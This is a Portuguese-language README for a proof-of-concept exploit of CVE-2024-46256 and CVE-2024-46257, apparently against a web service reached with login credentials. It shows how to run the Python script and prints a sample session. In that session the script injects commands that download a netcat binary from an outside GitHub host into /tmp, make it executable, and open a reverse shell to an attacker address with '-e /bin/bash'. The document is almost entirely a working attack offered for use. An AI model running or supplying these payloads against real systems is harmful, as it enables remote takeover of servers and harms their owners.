POC_CVE-2024-46256

CVE-2024-46256 e CVE-2024-46257 são o mesmo POC, apenas mude o parâmetro provider.

Nota

Às vezes, o arquivo nc não pode ser executado no servidor ou não pode executar o comando!

Instalar dependências

pip install requests

Executar Exploit

python3 POC_CVE-2024-46256.py

[+] Tipo de alvo (IP/Host)? (i/h): i
[+] Digite IP ou Host: {IP/HOST}
[+] Digite a Porta: {PORT}
[+] Digite o nome de usuário: {USERNAME}
[+] Digite a senha: {PASS}
[+] Token obtido: {token auto get}
[+] Enviando payload: curl https://raw.githubusercontent.com/yunchih/static-binaries/master/nc -o /tmp/nc
[+] Comando executado: curl https://raw.githubusercontent.com/yunchih/static-binaries/master/nc -o /tmp/nc
[+] Enviando payload: chmod +x /tmp/nc
[+] Comando executado: chmod +x /tmp/nc
[+] Alvo é vulnerável!
[+] Prosseguir com reverse shell? (s/n): s
[+] Digite o IP do reverse shell: {Rev server}
[+] Digite a porta do reverse shell: {Rev port}
[+] Comando executado: /tmp/nc {Rev server} {Rev port} -e /bin/bash
[+] Comando reverse shell executado!